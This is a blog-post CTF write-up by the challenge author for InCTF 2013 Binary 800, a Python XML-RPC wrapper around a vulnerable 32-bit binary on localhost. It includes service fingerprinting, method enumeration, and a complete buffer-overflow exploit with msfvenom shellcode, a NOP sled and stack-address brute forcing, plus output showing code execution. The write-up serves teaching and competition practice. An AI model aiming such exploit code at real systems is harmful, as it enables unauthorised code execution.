Wednesday, June 12, 2013

InCTF 2013 Quals - Binary 800

This again is a challenge we set for InCTF Quals. The idea was inspired by the service Maya written for previous edition of InCTF. Service listens on port 6666. Participants were given the memory map of process, which shows absence of ASLR and NX. No other information was given. Here is the intented way of solving the challenge

Try connecting to the service. We get a bad request message
[ctf@renorobert InCTF]$ nc 127.0.0.1 6666
qwerty
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 400.
<p>Message: Bad request syntax ('qwerty').
<p>Error code explanation: 400 = Bad request syntax or unsupported method.
</body>
Now lets figure out whats running on port 6666 using nmap
[ctf@renorobert InCTF]$ nmap -A 127.0.0.1 -p6666
........................................
PORT     STATE SERVICE VERSION
6666/tcp open  http    Python SimpleXMLRPCServer (BaseHTTP 0.3; Python 2.7.3)
|_html-title: Error response
Nmap shows Python SimpleXMLRPCServer running on port 6666. Here is the python wrapper thats running the binary
#!/usr/bin/env python

from SimpleXMLRPCServer import SimpleXMLRPCServer
import subprocess
import signal

def encrypt(arg):
    data = subprocess.Popen(['./service', str(arg)], stdout=subprocess.PIPE, env=None, close_fds=True,)
    return data.stdout.read()

signal.signal(signal.SIGCHLD, signal.SIG_IGN)
server = SimpleXMLRPCServer(("0.0.0.0", 6666), allow_none=True)
server.register_introspection_functions()
server.register_function(encrypt)
server.logRequests = 0
server.serve_forever()
Some information from python docs:
SimpleXMLRPCServer.register_function(function[, name])
Register a function that can respond to XML-RPC requests

SimpleXMLRPCServer.register_introspection_functions()
Registers the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature
[*] Our python service registers function 'encrypt' to respond to XML-RPC requests
[*] We also register the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature. This helps to identify the registered function remotely

Now we have to use python's xmlrpclib to connect to the service
[*] First find the registered function remotely
[*] Then find the number of arguments it takes
[*] Then try calling the function to understand its working

Finding the registered function:
#!/usr/bin/env python
# fuzz.py

import xmlrpclib

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False)
print s.system.listMethods()
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
Finding the number of arguments:
#!/usr/bin/env python
# fuzz.py

import xmlrpclib

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False)
print s.system.listMethods()
print s.encrypt()
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
Traceback (most recent call last):
  File "fuzz.py", line 9, in <module>
    print s.encrypt()
..............................................
xmlrpclib.Fault: <Fault 1: "<type 'exceptions.TypeError'>:encrypt() takes exactly 1 argument (0 given)">
We get a nice error message saying we need exactly one argument and 0 given.
Call the function:
#!/usr/bin/env python
# fuzz.py

import xmlrpclib

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False)
print s.system.listMethods()
buffer="A"*100
print s.encrypt(buffer)
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Now we get proper response from the service. The binary is very simple, it does caesar shift. When we send 160 bytes of data, there is no response
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']

[ctf@renorobert InCTF]$
Now thats a crash. Since ASLR is disabled and the given memory map reveals that the executable is 32-bit, one can bruteforce the stack address. Here is the idea of exploit:
[*] Bruteforce the stack address and overwrite the EIP
[*] Use a huge NOP sled, followed by shellcode
[*] When right address is hit during bruteforce, shellcode is executed
[*] Avoid NUL byte in shellcode and the address used

Below is the exploit:
#!/usr/bin/env python

import xmlrpclib
import struct
import time

# msfvenom -p linux/x86/exec CMD=/usr/bin/id -a x86 -b '\x00'

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xbd\x65\xa7\x25\x48\x5f\x29\xc9" +
             "\xb1\x0c\x83\xc7\x04\x31\x6f\x16\x03\x6f\x16\xe2\x90\xcd" +
             "\x2e\x10\xc3\x40\x57\xc8\xde\x07\x1e\xef\x48\xe7\x53\x98" +
             "\x88\x9f\xbc\x3a\xe1\x31\x4a\x59\xa3\x25\x40\x9e\x43\xb6" +
             "\x76\xeb\x30\xc4\xa7\x71\xdf\x46\x97\x1c\x7b\x97\xb0\x8d" +
             "\x0a\x76\xf3\xb2")

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True, verbose=True)
nop = struct.pack("B", 0x90)
junk = "A"*128

for i in range(100):
    time.sleep(0.5)
    address = 0xffffe000 - 0x302 * i
    if address > 0xfffe9000:
        print hex(address)
        ret = struct.pack("<I", address)
        payload = junk + ret * 40 + nop * 1000 + shellcode
        try:
            print s.encrypt(payload)
        except:
            continue
Running the exploit with verbose set to True, we got the below response:
reply: 'HTTP/1.0 200 OK\r\n'
header: Server: BaseHTTP/0.3 Python/2.7.3
header: Date: Tue, 11 Jun 2013 17:55:03 GMT
header: Content-type: text/xml
header: Content-length: 351
body: "<?xml version='1.0'?>\n<methodResponse>\n<fault>\n<value><struct>\n<member>\n<name>faultCode</name>\n<value><int>1</int></value>\n</member>\n<member>\n<name>faultString</name>\n<value><string><class 'xml.parsers.expat.ExpatError'>:not well-formed (invalid token): line 6, column 143</string></value>\n</member>\n</struct></value>\n</fault>\n</methodResponse>\n"
Thats a error message saying not well-formed. So our XML is not well formed, we have to figure out a way to overcome this. Here is something from python docs
When passing strings, characters special to XML such as <, >, and & will be automatically escaped. However, it’s the caller’s responsibility to ensure that the string is free of characters that aren’t allowed in XML, such as the control characters with ASCII values between 0 and 31 (except, of course, tab, newline and carriage return); failing to do this will result in an XML-RPC request that isn’t well-formed XML. If you have to pass arbitrary strings via XML-RPC, use the Binary wrapper class
So lets encode our payload to base64. Here is our final exploit
#!/usr/bin/env python

import xmlrpclib
import struct
import time

# msfvenom -p linux/x86/exec CMD=/usr/bin/id -a x86 -b '\x00'

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xbd\x65\xa7\x25\x48\x5f\x29\xc9" +
             "\xb1\x0c\x83\xc7\x04\x31\x6f\x16\x03\x6f\x16\xe2\x90\xcd" +
             "\x2e\x10\xc3\x40\x57\xc8\xde\x07\x1e\xef\x48\xe7\x53\x98" +
             "\x88\x9f\xbc\x3a\xe1\x31\x4a\x59\xa3\x25\x40\x9e\x43\xb6" +
             "\x76\xeb\x30\xc4\xa7\x71\xdf\x46\x97\x1c\x7b\x97\xb0\x8d" +
             "\x0a\x76\xf3\xb2")

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True, verbose=0)
nop = struct.pack("B", 0x90)
junk = "A"*128

for i in range(100):
    time.sleep(0.5)
    address = 0xffffe000 - 0x302 * i
    if address > 0xfffe9000:
        print hex(address)
        ret = struct.pack("<I", address)
        payload = junk + ret * 40 + nop * 1000 + shellcode
        encoded = xmlrpclib.Binary(payload) # encode payload
        try:
            print s.encrypt(encoded)
        except:
            continue
[ctf@renorobert InCTF]$ python bin800.py
0xffffe000
0xffffdcfe

0xffffd9fc

0xffffd6fa

0xffffd3f8
uid=500(ctf) gid=500(ctf) groups=500(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

0xffffd0f6
uid=500(ctf) gid=500(ctf) groups=500(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

0xffffcdf4

0xffffcaf2
We successfully executed our shellcode!

No comments :

Post a Comment